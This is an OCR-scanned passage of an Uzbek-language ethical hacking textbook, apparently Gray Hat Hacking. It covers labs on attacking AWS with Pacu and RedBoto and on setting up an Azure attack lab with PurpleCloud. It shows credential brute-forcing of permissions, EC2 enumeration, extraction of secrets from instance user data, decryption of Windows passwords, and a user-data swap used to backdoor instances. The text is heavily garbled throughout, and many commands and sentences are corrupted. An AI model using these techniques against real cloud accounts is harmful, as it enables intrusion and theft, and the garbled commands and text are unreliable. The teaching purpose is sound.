e ‘\dﬂblz:ilk] , uvehi ma’lumotlarining qanday
. s = Cmyt an
— Tizimdagi foyda

i ilar uchun qiyin bo‘lishi
kript. Bu buyruq yangl foydalanuvchl
ni tekshiradigan skript. )

i i keng
. i baj gan skript. bu esa
e izimi orqali buyruglarni bajaradig
— Amazon SSM iz _
i i bos di.
tarqalgan tizimlarni hoshgara

. i & 'b
RedBoto yana bir to pl'am blodl;
martalik skriptlarni o°z ichiga oladl.

‘ T ] 3
3: Ruxsatnomalar ro yxati

et ] muaim-

; : siz nima qilish-

: talar 0°zearishlar A Mank

g3 Aksariyat VOSltaIZarishTami"g yuqori tezligini

. i £ a . O.Zv = :

ol l“':l ?a cheklovlarga €ga vj cheklovlar va afzalliklarga ega
. . . LIV i & 7
lari mumkinligi bo 3;1_0 Jmkin. Vositalar qanday

. . 11 T =
Kuzatish giyin bo*lishi 1

ekanligini ko*rib chiqiladi:

Laboratoriya ishi 27

[tkati kali)-[/opt/pact] @
S /elipy® o s .

s G kel local share cuisqlie.db

L Aipare fum;ﬂ’ ::H o /kaﬁr’.;"ﬁca!/sharefﬂm

Database created a

/home. T gession? gfﬂ*@
wi Id vou like 1o name this:né
Vhat would y

. g ’ﬂ{
Session ghh creale T Yoeee ™
<—-OMITTED FOR BREVIT!

w Sep) > import_". N
Pacu (ghh:No Ke) = i red-default -uteforce jc’mnss:onsﬁ
Imported keys as “impor . Yok

fam
> pun fam__=: args:
: ; j-dcfﬂf"m Sy SSIONS.- itributes - kwargs:
u (ghh:imporiec L orce el uni_a
f{:;j:‘,fg mod::fe fmn__b; uteforc P ¢

0 [? A o Nb i
! ! (i
f {HIIAR ¢ 1] g
{ e 'iﬂfe oree 2r Hf\f IAY jrvf 1 fe?l e i

{'DryRun": True} T T
- : RIT timeed Permi

ey HTTE;? i?!j;g'mis.\-fons] Allowec

[iam __brureforce.

275
ec2: 27




describe_account attributes
Pacu (&hh:imported-defauly) > whoami®

i

‘

“UserName": null,

“RoleName " nuil

“Permissions": {

“Allow": [],

“Deny": [

“ec? .'De.s'c'rfbeDex.fma!fom

<--OMITTED FOR BREVITY-omu

Pacu (g)‘:k:r'mporreddq)i:m‘u = sel_regions ys
Session regions changed: [ us-east-]']

Pacu (ghh: r'mpurtea'—defardr) Zrunec?  enume
Running module ec2 _enum.., o
lec2 _enuym ] Starting region us-eqst- |
lec2  enum ] 5 instance(s) Jound,
<--OMITTED FOR BRE VITY-- =
Pacu (glrir.'i.'npw'red-defauf!) >

-east-|

EC2 va Lambda’da qanday tavsif (yoki otaish G b
uchun bir necha yuz AP gonot: Y Qish) huqugqlarini sinab

_ ' APIqo ng‘:roqlariniamalga oshirishnixohlaysizmi? Ehtimol.
Y0°q. Buni ganday qilib avtomat

_ lashtirilgan tarygdq qilish kerak? Fagat PACU dan
foydalanamiz va barcha ruxsatlarni bj

iz 1 bilib olish, yoki qila olish mumkin.
As'bo[?m lshga tushirish uchun PACU kalalogdanfopt / pacu * mashinangiz-
da Kali Linux, siz Python faylini ishga

Mok : : tushirish kerak cli.py. PACU sessiyalar
nomi tgl{zjm ll?ompamyalamr tashkil gilad;- hozirgj Sessiyani “ghh“@® deb nomlana-
di. PACU alla tizimda bo*lgan kalitlardan foydalanish!
laniladj import_keys-all all hisob ma’lu-

a tagiglangan ruxsatnomalarni chiqaradi_,
di shu natjj aga erishishning yana bir usuli

h uchun to‘liq ishlaydigan, batareyala-

; da ba’zi

. : harakat gilmoqda. ammo. un ;

i bi i eladigan modulni yaratishga i im taqdim etmaydi

" b]lan- Fnrga Lel?‘dlga[l].l xohlagan barcha modullarni ‘:ﬁr gcz‘pinc?la. bajarilishi

g 0 rl:a\'ll?a 'xizmatlarini q0'llab-quvvatlgméll1}q;-Vositalar skripilaf yoki

va AWSning barcha > irish uchun bos 1kl

. i Iga oshirish i : echtasini ke

B B e Ierak b B e inin i ke
ey A CLIgn e etladi. Birog, PACUN o

yingi bo*limda namoyis yalarga ega:

; - 100t fovdali funksi A kdoor) vyaratish
boladi. chunki uqu?{'.dag:ﬁf?zi:]:a skripti bilan orga eshik (backdoor) y
— EC2 xizmatini Y

PACU AWSni ekspluatatsiya qilis

imkoniyati; anzili
X 4 ida IP manzi
~GuardDuty xizmatl nati): i<h:
y i aniglash xizmat): n foydalanish:
AWSning tahdidlarni an‘lqmiila" buyruglarni bgjgnsh.u;l;;; yoii ba’zi holatlarda
- Amazon SSM ‘.‘Os-ﬂafglarini API kalitlarini qo Sshik (backdoor) yaratish:
— Foydalanuvchi ,m]si?lariﬂi qo‘shish Oquall Ol‘flli: RDS ma’lumotlar bazasi
ikkinchi to*plam AP‘ll ka otlar to‘plamlarini, masatet.
— Turli xil ma lum

<1 vuk bOliS]'l-
snapshotlarini va S3 fayllarini yukla

izni oq ro‘yxatga qo*shish (GuardDuty —
ng g

akatlar AIWS konsolining CloudTrail
- ”. holatda amalga oshiriladi. ;’.ug_
m"/i‘:':m:c il m.s'hmrf.\'h. m-.fu.fi-’.."ﬁ"';”"j ’
il kerak. loglarni uh.\h‘w aia
o —imda bo ‘lgani kabi. Ushbu

i i ko plab
; - Ushbu bo limdagl ko'l .:.
——r b odatda st

i - f ,”'fdu”f‘f i
komponentlarida gavd ¢ ioJan nima bo

‘=) Z1 i
; : ho lsu-da, 0 279 = ; s/
Yozish yaxshi bo lsa - “.;,-”jm-‘;‘”;_,fu_lu’afﬁ””
i

ratsion 1
T, standart opel al

ehas. Siz qo shimeha iz qoldirishi mumkin.
5 i ver katta 12
Jishi mumkin
) h’\)’”

; 3 AIRUE
i vaxshirog tushunish

holim jude shov-shvli b glaridan foydalanib ruxsat

. lga oshirish 8 )
harakatlarnl ‘;:;:le(gripﬂafda“ iborat bo°lib. ular:

i ato bir g 1.di. Ba’zi redboto skriptlari
Yugorida aytib o‘tilgamdek, RedB hlatiladi. Ba'zi

. i 1 1 .k deyarli bir xi]-
I S xizmatla i . IR ;dlB.l oto skriptlari bir martalik, :
vldagiet lbleb " rl-]-fn % i t[Birl:)q, ulardan foydalanadlgan
idagi i higilgan ba
quyidagicha ishlab ¢ :

. ishlab chigilgan- Bt adi.
ol i qayta ishlashsiZ lShtda 4sosiy omil hisoblan
liksiz va xatolarni qm.11 amaliylik 0da
ko‘plab odamlar uc iriladi:

pBirinchi Skl‘lPt ishgﬁ iLlShlr

. Kirish huqu
Laboratoriya ishi 27.4: Kirl
etilmagan

(kali kaf”-ﬂ""‘””fmdbaﬂceskp)0
E.Sm-'ﬂmnj Jdescribelt ]f;ﬂ’---—?
<--OMITTED FOR BRE!

=
: jon: eu-nort-"=. i fomeeen
checking region: €t  this region RS
No :‘nsmncesf‘”"’d: ______ ,..-—-—; eﬂc 2| running|
Wit .-{: 8{m| ghh-ubl'ﬂ” s T

. - s
li-092b83286d2cH704™" =
. PR
F o sunia

277

B S




bu giymatni degifr}

| i-0e9af6983025111d6 | ghh-de | running |
+ . -
<—=OMITTED FOR BREVITY-w>

e e e e e,

TR |

describelnstances.py skripti @ — by oddiy EC2 ro“yxatga olish skripti bolib.
u mintaqalar ro‘yxatiga qaraydi @. By to*liq mintaqalar ro‘yxati emas. lekin skript
soddalikni murakkablikdan afza] ko*rish uchun mo*ljallangan. Skript orqali biz

instansiya IDlarinj @, kompyuter nomin; va uning holatini ko*rishimiz mumkin.
Keling, keyingi skripti ishga tushiraylik:

r(&aﬁ kali)-f/opt/redboto ]

S python3 /describe UserData.py@
[*] Checking region eu-north-1
<=-OMITTED FOR BREVITY....~

[*] Checking region us-east-]

| #!/bin/bash |

<--OMITTED FOR BREVITY.o>
]:‘-09.?!983286(!205]’9&1; sudo node indey. Js & |
<—-OMITTED FOR BREVITY-..~

| | curl -U monitoring: monitoring®. hip./fiocatxosy healthz|
Eslatma: UserDarg - bu har bir f .
gan maxsus maydon bolip,
amalga oshirish inkonini hej
cloud-

Mstansivasiga kiritilishi mumkin bo -
w mashingni ishea rushi

i rish vagticda sozlashiarnt
adi. Ule

it deb atalyvehi ; Va bajarish uchun odardd
- ini {; . ;r;u m.c; "oramka ishia Bu mexani-n, operatsion ti-imfardd
roshlang ‘ich ishlarni adjarish uehun o Wi ; '
- lari. Stonal user | i hier rish wehun
mo ljallangan. Bi= by, Botbiivasis s / ' ata ni ishga tushirish uc ’
7 . A Onivami user data e qo’shish voki o ‘gish orgali sutis-
te - mol gilishimiz mumpkin, '

rdata nj o qish
iladi.

Keyingi skript, « i

instansiya k .

ya konfj rcha user datg ni sanaydi. Ko‘rishimiz

X ; arl va parollar kabj har xil ma’lumot-
n. Buma lumotlarn;

4 : saqlash uchun yaxshi usul emas, ammo
0qda. User data’da parollar va boshqa muhim ma’lumotlarni

1 ai I s Peratsion tizimlari ni anadﬂ
qiziqarli qiladi. Ba’z Windows operatsjo bl

N tizimlarip;
‘ladi. Ba’zan y

frlanadi. Agar biz
Boto

yaratish jarayonida Admi-
ning pseudo-random yara-
da o‘sha SSH kaliti bo‘lsa,

* olarmidik? RedBoto by vazifani bajaradigan skriptga ega:
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a f.7 . R
_\'LHfuff‘fmj_v ."‘a'-.n'ﬂ.’ _s\,.‘,-h;\fi lc f?HH-‘

pllecis @S T S
[ 4 - = [ ! } |V mar-
f‘ f( " h(i\’;}!{”?u .il. h’ mda. 1" i“r i ?I...,_ir_f” Vi
(il . 1S 1un arma

i s ; ‘o chirishingiz
Masiahar: Ishiatgan qurilmang Javotean mashinaga ko ‘chirishing

oo dmad it i
eaningi-daei “~ ssh id rsa” faylini hujumq

ivasi ‘atori-
© skriptini versivasi lubora
CinCreds.py” skriptining bu j
kerak. Shuningdek. ~getEC2

. 4 e Asl skript
tirileanini esda tutish muhimdir. .l) \.\i}”
ATty ; i= OpenSSH
o [ h'h’\hr’ﬂu tavanadi, ammo biz Opc
) & = -

. i H‘j‘”( _ . e n ';'j}f}f‘:;”.\{‘l'lf
SSH kalitimi= wehun PEM fayl may, - By versiva PEM fa) llarni dese
/ davi kalitlarni ishlammogdamiz. B ¥
Ormatidagt kalltle

qilishni amalga oshirmaydi.

(kali kali)-[/ 'ap.'.-"'redbfifo] o
S pyvthon3 gerE(,".’H’intmds‘mﬂ s

Address| Password. |

| ~/.ssh/id_rsa -
Fammemmmana=s

T
+ —mmmmmmm

e TR ol | D,

Y .‘Ip‘ e===m==tE=EE==SETES
e 3 s ."Ebsip”bm' ——mmEEE-—
| nstance 1D | Name |Private f_pj fi ======+=="" PE66D
_e—m======== ii;;;==:==+ _+.4-4—+l‘"'51'2~?497 fjg-t-brk_k’-ﬂﬁ{ g
i :::.:f;é'ghh+dci+++Io.ﬂ.ﬂ.fﬂ -
li+0e9af6983025 1f1d6®|8 !

i S +
i il Frmmmmm
J'A é;\f@| sk F o=

B O
T T ———

izim siz belgilagan min.-
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(kali kali)-[~/GHHv6/ch27/L ab/terraform]
I.—_Srerrqform output s3_sam_bucket@® 27 x
“ghh-sam-bucket-82jlwozo"

Er'ka! i kali)-[~]
)

nano UserDaiaS wap/samconfig.tom|®
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S Misol |

ishga tushinldi
yaratish

AWS EventBndge
: bildinshnemas
—
L Aws
EvemBridge

Foydalanuvchi
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e
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27.2-rasm. Foydalanyvchi ma’lumotlayin; almashtirish v

raform katalogida baj
taSwap katalogidag;

arish kerak_ So‘ngra
]
tishni o*zgartirish za

Kalj i
sameonfig oy, | faylin; Instanc
Tur, ya’nj g3

® kiritmasini:
version = (), |
[defaulr]
[defaulr. deploy]
[defauly, deploy. Parameteys |
Stack_name =

“UserDaraSwap &
83 bucker = "ghh—mm-budrr—é?.?jhro 2
$3 prefix = "L-iserDaraSwap" e
region = “us-eqgs-y »
capabilities = "CAPABIL
profile = “defayjy
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| EC2 Stant ‘
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bajarish mumkin:

(kali kali)-{~ UserDataSwap]
rs::mku build®

sam build e DataSwap/Us
Building codeuri: ‘home/kali/ b;itf:‘ :3:’]

Junctions: / ‘{,z’.\'c!‘Dcla‘tl.gi.i'ﬂpf E‘Lj[d

Running GoModulesBuilder:
Build Succeeded _ -
Running the make build comma
Kali instance. s

(kali kali)-[ _/UserDataS» ap]

:makc deploy®

sam build 0 1i 01 TeorDataSwap
!;:::’d:‘i:g‘c‘odem'i: ‘home -'kﬂf;; f:’:’;'}m :

Junctions: [ 'UserDatc:S\_‘-'ﬂ!:‘“;Hﬂ d
Running Gn.r'dﬂd:.'."c.\'Brm’f;-;:jL_”)
<--OMITTED FOR BREH_IT}’ M’
Capabilities : [“?AR’.{?: =
Parameter overrides : Ui

Signing Profiles : {

Initiating deployment -
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if;l;hgan iCZCLﬂSitﬁl;th:iya ,Irlliksi;assi E_C2 -Sq?l’leg‘;igiuzh?rishni buyuradi. Bu ja-
mo%le:artilrl: sg:qla;rdi. L;‘:;ﬁ(sjfmfi'uva instansiyant !

Ma’lumotlarini almas

T a
Birinchi buyrug, M
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BOB. MICROSOFT AZURE PLATFORMASID
XAKERLIK e

U . z
. i’zbulleb?gb qyl,] yidagi mavzularni o'z ichiea oladi:
_ oshqaruv va ma’lumotlar reiasi :
o S a A ar rejasining ik o I
mjgrsf E;IShI{rim‘:lga ganday ta’sir qi]ishiniJlushﬁ:tiga]nda} R, BB SR
osoft identifi i SiL.
qanday egallas] ikatorlarini Azure AD*da qand i : :
M'g ai‘: mumkinligini aniglash ganday topish va bu hisoblarni
* Microsoft’dagi tizim tomoni .
. : onidan tayi
ning qanday ishlashini v yinlangan boshqari e
a arilea = 5 L
ulardan qanday foydalanish mur?‘lkinlgi L:i]nlidlf(;{lr'iltl)kdlt?r'la}:
g chiqish.

Microsoft bulut platformasi Mi
ma texnologivasi ““i . Microsoft Azure nomi bi s .
Azure daSt]ibybls;]ut”;fl‘:::“;lj:-:;na'xwmat kabi® (laaS)Il]:ilsggfann;? lum. Bu pllz’uloqr_-
texnologiyasi sifatida yaramﬁSI kabi emas balki, “platforma xiz- amgo .f‘\‘/h.\rosﬂ
foydalanuvchilari bazasiga cgan. ?hunday qilib, joriy 1i7§|n mat abi (Pa?S?
Microsofining bulutli platfo ga ko*pfoydalanuvchiga ega éiolf1:'1g katta gsim!
bilan farglanib, b'-‘fg‘Unchila:'mbajziiAn?azon platformasidan bali?tﬁiﬁ?ir?lt}l:ftzll;r
zondan nimalar bilan farglanishi suiste’mol gilishlari mumkin - l
ga bir nechta miso|lar kcllirlillmkm' iR £
gan:

— Standart Azure Virtual Mashin

mavijud va kirishni alarda ko*
] irishni cheklash usullari 0°proq eksplualalsiya imkoniyatlari

yanada murakkab,

S'huningdc?k_. Microsoft Azure
ve D{rectory siz muhokama gilish
riga juda chuqur integratsiya qjl;
e’tibor qaratiladi. "

hagida gapiri

qiyin. i:l:ll‘l; llefa, Microsofining Azure Acti-

nganligi sababl; zure AD tizimlarining bir-bi-
I, bu bo‘limlarda Azure AD’ga

lashishi mumkin ha kil etilish :
mkin bo lgan tuzilm ida markaziy tushuncha — aktivlar joy-

zations’ga o‘xshash ani anglashdj
. t X X ir. U .
i ‘Sh]a}’t}iﬂ’ ammo [AM qsihd?llalr(i?sept i
mumkinliging katrin sy " ashkilotni larining qanday tatbiq etili-
gini ko'rib chigish m ning Azure aktivlariga qandayyta’sirzilishi

umkin,
2x4>

Boshgaruy guruhi : Ijara Roof

Kompaniya guruhi

Orqa ilovalar Front-End

Obuna | Obumna 2 Arxiviangan
| obunachilar

Resursguruhi | £

Arxivlangan

From-End
resurslar

Orqa ilova
resurslari guruhi

resurslari guruhi

Disklar Tarmoq VM Hovtiar C2MAS Disklar Tarmog VM

28. 1-rasm. Azure obunalari

sh uchun “subscriptions™ (“obunalar™)
Azure obunalari boshqaruv guruhlari
boshgqaruv guruhi bir nechta obunalarni boshqari-
ir nechta resurs guruhlarini boshgarishi mumkin.

Resurs guruhlari resurslarmi 0°2 ichiga oladi. Bu model ierarxik bo‘lib, meros olish
Xususiyati mavjud. BoshqaruV guruhi darajasida “Owner” (‘."Ega."’) yoki “Contri-
butor™ (“Hissador™) bo‘lgan foydalanuvchi, imtiyo:zlarnl qU}*fdz{gl d_araj_alaf-ga me-
ros qilib olishadi. Bu juda muhim, chunki daraxtning yuqori gismida lmtlyo.zl.ar-
ni qo‘llash quyidagi darajala 28.1-rasm Azure guruhlarining

roa ta’sir ko'rsatadi. .
qanday tashkil etilganini va ularning 0°Zaro alogalarini qanday bolishi mumkin-
ligini ko*rsatadi.

ktivlarini tashkil qili

Azure ko‘plab a
foydalanadi.

deb nomlangan konseptdan
tomonidan tashkil etiladi. Bitta
shi mumkin. har bir obuna esa b

re va AWS o‘rtasidagi farglar
dan so‘ng, ikki bulut muhitidagi

zni hayratda goldirishi mumkin
, .3 . .1+ Birinchi farq shundaki, ko‘plab
bo*lean f;  ko'rib chigish yaxshl bo‘ladi. Bllrmc , ko'p

tashEi]’; t]i??[:g::rle ,:Dl'ni biror darajada ishga tusl'llrgan'. AW? ff':lydalanuvchnla‘r-
ga identifikator provayder (1dP) taqdim etmaydi; buning © A s daStLl.rl.y
Kirish uchun API kalitlaridan foydﬁla“ad”ar' AWS IAM }"Ol"dc:lml("ja AW.S a7
mid . surslardan foydalanish mumkinligini aniq belgilaydi.
A o o xiznf}atlar Vzre kelay ]sa va bu ikki tizim o°rtasida aktivlar-
nigla(lr ‘AZl_lfF yoki AWS- m,ll . zilmalar ularning qo‘llanilishida
N1 ko‘chirishga harakat qtls3 ay ishlashidan norozi

Juda farq qiladi. Bu chalkashtirish
bo‘lish mumkin.

Azu
Oldingi bo‘limda AWS hagida gfelplr_gan |
qsa. hujumehi sifatida sl

asosiy farglarni, ayni

otgan bo’
tiyozlar va Wz
i mumkin yoki ular qand

J
oC
[
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i ET'EYOZIardan tashq:clri, AWS va Azure o'rtasidagi boshqa katia farq ba'zi
to ; IS] En l.ayyur xusgs_lya“a_rda namoyon bo‘ladi. Azure ko*plab tizimlarni av-
| ?a ask [,I;I]jh- usullarini taqdim etad;. Azure VM-larda “run-command” deb ata-
adi an 1 - k . <
da tigzim 2 eraia-r ls}[] . Sustyatl mavjud. Custom Script Extensions kabi vositalar-
s P' ;idslya ar_ml baJa_nsh uchun turli xil variantlar mavjud. Bu vositalar
Nihora:‘:s b Ef !-na‘:f_]ud bo‘l'.b-'- AWS-da buni sozlash talab clilz;di.

yat, ba zi xizmatlarning qurilishj bo‘yicha farglar maviud bo°lib, ayni

uchun, Windows uchun Azure Functions.

muammo.

Azure User Account yoki Se
mat hisobiga o‘xshaydi. Azure
ishlatishi mumkin. By AWS’da

Arg)]izgrén?ipa[ 'kOHSCplidan foydalanadi, bu xiz-
e ilac(l)' Igani si'.nbab!i. turli OAuth Oflimlarip!
huni e | Fhunkl A.WS statik yoki vaqtinchalik

_nmgdek, bIZ- Azure’dagi API-larda foydalanuv-
rini amalga oshiramiz. chunki

- Laboratoriya ishi 28.1:
aboratoriya muhiting vaees:. v
Bunda Jason Ostrom tomonidan 1tini yaratish va sozlash

tiladi. PurpleCloud Terraform va Ansiilaer?;ilg?l PurpleCloud nomli loyiha ishla-
. an lfoydalanib, atrof-muhitni sozlashga

gi laboratoriyalar
ihbu. ! resurs]
mumkin. Sizda Mavjud bo‘lgan variantlarday

o°chirish emas, faqat “to*xtatish” — laborat

Bu sizga laboratorj :
el yalamni yaratishj ;
qilishingiz shart o : 8a imkon beradi, ammg i yo'q
O'lmaydi. By laboratoriyaning bir oy dav];?:liiliﬁilghlila?;:il \r}\’fin-

dows virtual mashinalar
. alari va Micr. . > ik
dollamni tashkij qilishi mumkin osoft litsenziyalari bilan Azure’da bir necha yuZ

ar .uchun Juda ko*p pul talab qilishi
1 .bll‘i bu mashinalarni “to*xtatish™ —
oriyalar bir soat ishlaganidan keyin:

PurpleCloud’ni amalga oshirish boshlanadi, kodni forking orqali amalga

oshiriladi.

(kaliSkali)-[~/
[:?gff clone irrfp[s:.-{gfrlmb‘ com/iknowjason/PurpleCloud®
<--OMITTED FOR BREVITY---->
Ef kaliPkali)-[~/]

S ¢d PurpleCloud/deploy®

(kali@ kali)-[~/PurpleCloud/deploy]
ESc'p terraform.tfexample terraform.tfvars®:

(kali@ kali)-[~/PurpleC loud/deploy]
Egnuno terraform.ifvars®

e
~
i I com | App registrations #

0 s

MR —— T L .
| — Sagnarv i A Actw Dhvrtiry o pepe s g
- Natore et s e e T e e by i, Apyiciins sl o i
- el = i el e i D QR

L . e oo
Masage
- Owred sppisations

by s pmey
exon prect D wtirt) =2 .
= a
.
L feant) el o e phis & 1ot

P ppaes
- Duapplioy Pbme 2 3 " -
5 - I

' ey C 0 VX ‘tkazish sahifasi
28.2-rasm. Azure wehun ilovalarni 10 ‘yxatdan o ‘tka if
,2-rasm. Az

c i uasini hdir @. Repozitoriya
ozitoriyasini klon'las :

F'ufll"ecI"j’uf:1 ::; lnj-ini deploy katalogida ® saqlaydi. K_ata-lc?g-
form sk'p lini terraform.tfvars ga ko*chirish

e fa g 2
forltzu[fe?{?;;?ilr qil?/b. bir necha sozlamalarni 0 zgarti-
ay ni :

Birinchi gadam
0°z ichida ko*plab Terra
ga kirgandan so‘ng, terrd
kerak ®, Keyingi qadamda:
rish kerak @. REIORY s v ¥
Mana tfexample faylida © zgartirish

o*lgan tegishli gismlar:

UR_VAL UES"®

H YO "
arm_client_secret = vITH YOUR_V
o = " CE__W - "
subscription_id = REPLI&/]]‘H YOURHVALUES

tenant_id = "REPLACE_ 3
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Ta.qd_m'.] o.j:nlg‘an rasr-‘n Azure Pf)rta[ orqali qanday qilib bu giymatlarni olish
mumklnlrginl k(-) rsatadi ©. Agar siz Azure Portal dan foydalansa. bu qiymatlarni
Azurf_: ACTIVE DlrecFory | App Registrations’ni tanlab va keyin ilovangizni bosish
orqali topish mumkin (28.2-rasm). ’ )

- Eiyn;]atlar Ifonﬁgurajtsiya.fayliga kiritilgandan so'ng, ushbu elementlarni to*l-
b1r._|ls d'uc un ql'ymatle-lrm top]sh mumkin. Klient maxfiy kalitini yaratishi kerak
df) S:-L i, pu esa ilovaning Sertlf.'lkatlar va Maxfiy Kalitlar bo*limida mavjud bo‘la-
di. qn.m'gdek, bu fa}.’lda STC_1p ni tahrir qilib, ochiq tizimlarea kirishni cheklash
imkoniyatiga ega bo‘lish mumkin. } ‘

Tizimni qurish uchun terraform buyruqlari ishga tushiriladi.

i

E{ kali'Okali)-[~/PurpleC loud/deploy]
$ terraform init & & terraform apply

var-file=terraform. tfhvars®
Terraform-da “var-file” ' i
erl e alrgf'llfe (6] be[gl'lash orqali 0°z tenantiga joylashtirishni amal-
i CE idm- | .u._larayo? bI'I' necha dagiga davom etishi mumkin. Tashqi
Labmamriyalarga SSE b‘llqlSh bc_) ladl: lekfn ular to'g'ridan-to*g ri ko‘rsatilmaydi.
U manzillarni topish mumkin, Shuningdek, fayllarni tahrir

qilib, tashqi kirishni ruxsat bermaslik va facar :
i a fagat ichkj [p illarni i is 3
kin. Bu PurpleCloud-da hujjat[ashtirilgan. bu yerda emI::HZIHdmI shiatsh e

Laboratoriya ishi 28.2: Qo‘shime

Laboratoriyalarni bajarish uchun
Avvalambor, laboratoriyaga kirish ucl;u
nuvchini qo‘shish lozim:

ha foydalanuvchij qadamlarini bajarish
portalda ba’zio*zgarishlar qilish kerak.
n foydalanish mumkin bo*lgan foydala-

E—(kaﬁ@kah’)-[»/]
8 sudo curl -sL, htps-, ka.ms/Ing N

e pS:iiaka.ms/Install Azyre LIDeb | sudo DIST CODE=bullseye

<--OMMITED F OR BREVIT .o~

E—(kaﬁ@kaﬁ)-[ ~/]
S az login®,

- nechta usullar mavjud, jumladan:
thorization Code Flow: az login S

foydalanuvchi nomi va parolni
password

--use-device-code

az login --service-principal -u

* OpenlDConnect Authorization Code Flow
login oynasida ko*rsatish: az login -u user -p
« OpenlDConnect Device Flow: az login
* OpenIDConnect Client Credel;tzlglsl 213;0;\23
R - ord --tenant 123-120- . : :
123 éi?rilnzis LL[:rs[;aatfisc;;E. tizimga dasturiy ravishda kinsh. uch!nj b]ir ?g‘i glztgzi
mavjud. Hozi]-dz; desktop mubhitlari uchun standart z;.vtorlzats}i:\la i ,(:i Io-lllab i
di. Agar desktop mubhitidan foydalanilmasa. -u/-p o‘zgaruvchilarini q g

ilishni ko-rib chigish zarur. . . 2 ‘-

" Tii Kiril qaﬂ dan so*ng, Azure’ga kirish uchun foydalanish mumkin bol
izimga kirilg By LTS

gan foydalanuvchi hisobi _\-'aratlladl-

fk(l!’a'-\s-‘f”l'ﬂﬁ)’[‘"".] P e a_gs“‘ﬂ,!‘d
I:S_a: ad user create ~displ%) %M.MH-:J.ff;‘ipi!—name ghh-test-user@tenant. com®.
A vard --user-pr ; .
ReallyReallyVeryStrongPasswore . ord complexity requirements.
The s;: g iﬁc; €) _nc:'ss'u‘m'ff does not comply with pﬂs.w.md complexity req
S ’ -

; e ord ©.
Please provide a different pass™ s

E{k{dﬁ@fmm-[ ~/] erser —-password
$ az ad user create ~-display ghh-“S.!,-r.m:i,'uf}if!-name
ReallyReallyVeryStrongP assword!1 —-serP
{

"accountEnabled": true.
<w-OMITTED FOR BREVITY==~

!

I

ghh-test-user@Itenant.com

. loa eoa haqigiy foydalanuvchi hi-
: -uchli parolga ega ) g
Sagnr b kerakki, uzun va kuc . .1 kerak emas. uzun va kuchli
sab'E t:-bo_! ber ];],1 E;e l]f(iiobdagi F'ar-::uldar_1 foyda]ams&tﬂi huquglar beradi @.
||ya|aulmog T {ki bu foydalaanChlga bl:lm l!:'l h ganday ruxsati yo'q. shu-

baro tan]flnadu‘c 1:; lanuvchining Azure AD_ da hec lqar berishdir. Buni amalga

. Yaratilgan foyda ad  bu foydalanuvehiga 11{1(};& e Portal’da quyidagi qa-
ni ingi qada oy 1 AZUE N
081%;;2?: gk;?;.llfeclc:a usullari mavjud; eng 0son

damla i baj iShdir: . rt'vlarjo}’
1 .I:::;{u:(-]jrSubscriplions tanlana-:-il :Sf: z[;l;s’iladi-

tomonda Access Control (IAM) e keyin Add Role As
2. Role Assignments bosiladi v&

uchta gadamdan iborat:

a. Rolni topish.

b. A’zolarni topish.

¢. Tayinlashni amalgd o
ishonch hosil qilish. «Jimida foydalanuv -t

‘1adi. Members bo t Members bosiladi.

Ushiﬁ?;;;a?:;ﬂsg]lﬁni tanlash uchun Seee

4. Nihoyat, View and As

lashgan obuna topiladi. Chap

signment tanlanadi. Bu

i ini ]aSh‘f;ﬂ.

ghh-test-user tanlanadi.

‘zsu




Endi foydalanuvchini o°rnatgandan so*
tomonidan tayinlangan boshqariladi gan
damlarni bajarish kerak:

I. Azure Portal’da, PurpleCloud
U purplecloud-devops1 deb atalad;.

2. Resurslar ro‘yxatga olinganidan s0°ng, rte-del bosiladi. Ushbu hududda.
chap tomondagi sozlamalar bo*limida Identity bo*limi bosiladi. ,

3. Statusni On ga o*tkaziladi. Davom etish uchun Save ni bosish kerak bo*lishi
mumkKin.

4. Endi Azure Role Assi
tugma bosiladi.

5. Obunani tanlash kerak bo‘lishi mumkin; agar bir nechta obuna bo*lsa. ek-
randagi scopes bolimida ro“yxatdan obunani tanjash kerak. Obuna va Contributor
roli tanlanadi.

E’tibor berish joizki, by nisbatan yugqor; daraj
kirish nazorat ro'yxatini faqat o*z [p manziliga ch
oshirilmagan bo‘|sa, terraform.tfvars fayli o*zgarti
yangilash uchun Terraform® yana ishga tushirilad;.

ng. virtual mashinalaridan biriga tizim
identifikatorni berish kerak. Quyidagi qa-

tomonidan yaratilgan resurs guruhi bosiladi.

ghments tugmasi ko*riladi. Ro| tayinlash uchun ushbu

adagi kirish huqugi. Hozirda
cklash kerak. Agar bu ama!ga
riladi va keyin konfiguratsiya

Laboratoriya ishi 28.3; Kirishni te
shinalarga kirish mumkinligi tekshj
strator hisobidan domen nazoratchi
nini domen Nazoratchisining

di b kshirish |
Endi barcha ma riladi. Buni amalga oshi
siga kirish kerak. Ushbu

laboratoriya jarayo IP manzilini olishdan boshlaydi.

(kalikali)-[~/]
S az vm list -o table -d®
me Resow'ceGrmrp PowerState pyp,

e ————————— e e et e e,

. ; =

Na liclps F gdns Location Zones

rte-del 9‘ PURPLEC, LOUD-DE VOPST vy running 40,78 ._’? !:;L’-Q--;;;;;at 5

D-DEVOPS] VM runnin 91 ]
: . 2 13.85.175.9] wests

Winl0-Lars® PURPL EC LOUD-DEVOPS; VM running 13.88.175.92 westus

Avvalambor, “az ym» vositasidan foyda]an ;3 for-
b 2 alanib, b - dval fo
matida ro*yxatlash bogh] Y archa obyektlarni ja

muhitda uchta VM mavjud: domen
SOC server/ELK server @. Ish S“’I.I
irish mumkin, SOC server esa SSH Or‘f[ah
re-del™ga e’tibor qaratish lozim-:
188 ®, ammo siznikisi boshqach?

L anadi @. Operatsiop
nazoratchisi @, foydalanuvchj isp stoli ® va

va dpmen Nazoratchisiga RpDp orqali k
mavjud bo‘ladj. Laboratoriyalar uchun faqat «

Ushbu misolda ko‘rsatilgan p manzil 40.78.2
bolishi mumkin -

Keyinchalik bo*limda qaytib ko'rib chiq ko rinishi
L3 lrl
izimining umumiy 0 e’ning
. ure AD tizimining ure AD) Azur )

M!crosﬂf::;T:a Azure Active Dlrectorfas(li?l etilganin tushunish
. ;jﬁlgar dqual bl!in ?\a o'rih tutadi. Sistema qanfgue va Azure AD o‘rtasidagi
i ISh.] o .mar alz m keyingi laboratoriyalar bu identifikatsiya prova.yde—
muhimdir-. sh_unmg uc ll-li)r d ar;1 beradi. Azure ADI[; Connect’dan foydaianad_h bu
alogalarni a.mqlasl}f.j:a. \l uchun, Azure AD Open ha ma’lumot olish uchun “For
f1 (IdP). Amq].lk e bir freymvork. QO-Sm’)mOC hagidagi qo‘llanmasiga havo-
. JO}EITSh%:Eidﬂ Okta’ning OAuth 2. A
Further Reading™ bo’ ‘

lalar mavjud. '
Nega shunday ko'p kg{tg‘
